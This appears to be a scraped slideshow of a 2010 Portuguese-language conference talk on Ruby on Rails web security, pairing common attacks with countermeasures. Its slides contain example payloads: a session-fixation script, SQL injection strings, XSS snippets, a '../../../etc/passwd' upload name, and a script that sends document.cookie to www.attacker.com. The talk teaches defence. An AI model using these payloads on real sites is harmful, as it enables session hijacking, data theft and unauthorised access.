Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

Segurança & Ruby on Rails

2,703 views

Published on

Palestra ministrada no dia 29 de janeiro de 2010 (2010-01-29) na Campus Party Brasil 2010, na área de Desenvolvimento, em São Paulo/SP.

Published in: Education, Technology
  • Be the first to comment

Segurança & Ruby on Rails

  1. 1. Segurança & Ruby on Rails http://julio.monteiro.eti.br
  2. 2. whoami
  3. 3. Joinville, SC
  4. 4. CCT, UDESC
  5. 5. Sessões
  6. 6. Sessões • HTTP é um protocolo stateless • Sessão é identificada por um cookie (contendo uma identificação e um hash) • Enviado do servidor para o cliente, e do cliente para o servidor
  7. 7. Roubo de Sessão
  8. 8. Roubo de Sessão • Roubo de um arquivo de cookie por um “atacante” • Permite que o atacante aja em nome da vítima
  9. 9. Como uma sessão pode ser roubada? Roubo Como combater? Sniffers em uma rede SSL (https) Utilizar computadores Botão “logout”, “públicos” expirar sessão Session Fixation (mais adiante) XSS (mais adiante)
  10. 10. Dica: Nunca armazene objetos grandes em uma sessão.
  11. 11. Dica: Nunca armazene informações críticas em uma sessão.
  12. 12. Como uma sessão é armazenada?
  13. 13. Como uma sessão é armazenada? • ActiveRecordStore: armazena no banco de dados (tabela “sessions”) • CookieStore: armazena em um cookie do usuário
  14. 14. Replay Attack no CookieStore
  15. 15. Replay Attack no CookieStore 1. Usuário ativa um cupom de presente na sua loja online, ficando com R$50 de crédito (armazenado na sessão) 2. Usuário compra algo custando R$40 3. Sessão agora armazena que usuário tem R$10 4. Usuário sobreescreve a sessão atual pela sessão inicial, ficando com R$50 novamente
  16. 16. Session Fixation
  17. 17. Session Fixation <script> document.cookie="_session_id=16d5b78abb 28e3d6206b60f22a03c8d9"; </script>
  18. 18. Session Fixation
  19. 19. Como combater Session Fixation? Utilize reset_session ao realizar login e/ou armazenar algo do usuário (como IP ou navegador).
  20. 20. Expirando sessões
  21. 21. Expirando sessões • Expire-as de tempo em tempo (com base no updated_at e no created_at) • Um simples rake no crontab já resolve
  22. 22. CSRF
  23. 23. CSRF • Cross-Site Request Forgery • Trata-se de aproveitar da sessão de um usuário, forçando-o (muitas vezes sem saber) a realizar determinada ação
  24. 24. CSRF
  25. 25. Como combater CSRF? Utilize os métodos HTTP da maneira correta (GET e POST, obrigatoriamente; e PUT e DELETE se possível)
  26. 26. Como combater CSRF? • Utilize os métodos HTTP da maneira correta (GET e POST, obrigatoriamente; e PUT e DELETE se possível) • Utilize um token
  27. 27. Como combater CSRF? • Utilize os métodos HTTP da maneira correta (GET e POST, obrigatoriamente; e PUT e DELETE se possível) • Utilize um token
  28. 28. Injeção em Redirecionamentos
  29. 29. Injeção em Redirecionamentos http://www.example.com/site/legacy? param1=xy&param2=23& host=www.attacker.com
  30. 30. Como combater injeções em Redirecionamentos? Não aceite URLs (ou partes dela) como parâmetro.
  31. 31. Uploads de arquivos
  32. 32. Uploads de arquivos • Algumas (várias?) aplicações aceitam uploads, recebendo um arquivo e um nome de arquivo. • Se você armazena os arquivos em /var/ www/uploads, imagine se alguém fizer upload de um arquivo chamado ../../../etc/passwd ?
  33. 33. Como combater uploads maliciosos? Evite receber o nome do arquivo, ou crie um filtro com expressão regular.
  34. 34. DoS por uploads
  35. 35. DoS por uploads • Se seu site processa arquivos (como imagens, gerando miniaturas), nunca faça-o sincronamente. • Imagine alguém enviando milhares de arquivos ao mesmo tempo?
  36. 36. Como combater DoS por uploads? Processe arquivos assincronamente (em um daemon ou em um cron); se possível, até em uma máquina separada.
  37. 37. Upload de executáveis
  38. 38. Upload de executáveis • Você terá problemas se armazenar seus arquivos em algum local "autorizado" a executar executáveis (como .CGI no Apache Document Directory do seu Virtual Host)
  39. 39. Como combater DoS por uploads? Simplesmente tenha certeza que seu servidor web não está executando arquivos naquele diretório.
  40. 40. Downloads não autorizados
  41. 41. Downloads não autorizados • Evite que os usuários "escolham" o que querem baixar, como em:
  42. 42. Downloads não autorizados • Evite que os usuários "escolham" o que querem baixar, como em:
  43. 43. Como combater downloads não autorizados?
  44. 44. Como combater downloads não autorizados? Opcionalmente, armazene o nome do arquivo no banco de dados, identificando- o para o usuário através de um id.
  45. 45. Mass Assignment
  46. 46. Mass Assignment • Você sabia que o "script/generate scaffold" não gera o código mais completo e seguro do mundo? :)
  47. 47. Mass Assignment
  48. 48. Mass Assignment http://www.example.com/user/signup? user[user]=ow3ned&user[admin]=1
  49. 49. Como combater aproveitamentos do mass assignment?
  50. 50. Como combater aproveitamentos do mass assignment? Modo paranóico:
  51. 51. Força bruta no login do usuário
  52. 52. Como combater ataque de força bruta? CAPTCH depois de determinadas tentativas falhas de login. Utilize uma mensagem de erro genérica, como “usuário OU senha inválido, tente novamente”.
  53. 53. Hijacks diversos
  54. 54. Hijacks diversos • Senhas: requira que o usuário digite a antiga senha para conseguir mudar.
  55. 55. Hijacks diversos • Senhas: requira que o usuário digite a antiga senha para conseguir mudar. • Email: requira que o usuário digite a antiga senha para conseguir mudar
  56. 56. Hijacks diversos • Senhas: requira que o usuário digite a antiga senha para conseguir mudar. • Email: requira que o usuário digite a antiga senha para conseguir mudar • Outros: lembra do “problema” do GMail?
  57. 57. CAPTCHA
  58. 58. CAPTCHA negativo
  59. 59. Informações sensíveis no Log
  60. 60. Como combater informações sensíveis no log?
  61. 61. Expressões regulares
  62. 62. Expressões regulares
  63. 63. Expressões regulares
  64. 64. Como combater aproveitamento de expressões regulares? Use A ao invés de ^ Use Z ao invés de $
  65. 65. Escalação de privilégios
  66. 66. Escalação de privilégios http://www.example.com/projects/1
  67. 67. Escalação de privilégios
  68. 68. Como combater aproveitamento de expressões regulares?
  69. 69. Whitelist > Blacklist
  70. 70. Whitelist rula! • before_filter :only => [...] ao invés de before_filter :except => [...] • attr_accessible ao invés de attr_protected • Permita somente <strong> ao invés de remover <script>
  71. 71. Injeção SQL
  72. 72. Injeção SQL ' OR 1 -- SELECT * FROM projects WHERE name = '' OR 1 --'
  73. 73. Como combater injeções SQL?
  74. 74. XSS
  75. 75. XSS • Cross Site Scripting • Atualmente é o tipo de ataque mais comum, segundo a Symantec Global Internet Security Threat Report. • Mais de 510.000 sites tiveram este tipo de ataque só em abril de 2008. • Diversas ferramentas para auxiliar estes ataques, como o MPack.
  76. 76. XSS: Injeção JavaScript
  77. 77. XSS: Injeção JavaScript <script>alert('Hello');</script> <table background="javascript:alert('Hello')">
  78. 78. XSS: Roubo de Cookie
  79. 79. XSS: Roubo de Cookie <script>document.write(document.cookie);</script> <script>document.write('<img src="http:// www.attacker.com/' + document.cookie + '">');</script>
  80. 80. XSS: Defacement
  81. 81. XSS: Defacement <iframe name=”StatPage” src="http://58.xx.xxx.xxx" width=5 height=5 style=”display:none”></iframe>
  82. 82. Como combater estes ataques XSS? Limpe a “entrada” do usuário com o método sanatize. Limpe a “saída” (impressão) com escapeHTML(), também chamado de h(). <%=h @user.name %>
  83. 83. XSS: Injeção CSS
  84. 84. XSS: Injeção CSS background:url('javascript:alert(1)')
  85. 85. Como combater estes ataque XSS de injeção CSS? Evite CSS personalizado.
  86. 86. Dicas sobre a interface administrativa
  87. 87. Dicas sobre a interface administrativa • Coloque-a em um subdomínio distinto, como admin.campusparty.com.br. Isso evita truques com Cookies. • Se possível, limite o acesso administrativo a um número restritos de IP (ou a uma faixa). • Que tal uma senha especial para ações importantes, como deletar usuários?
  88. 88. http://www.pragprog.com
  89. 89. http://www.rorsecurity.info
  90. 90. http://guias.rubyonrails.pro.br/
  91. 91. Segurança & Ruby on Rails http://julio.monteiro.eti.br

×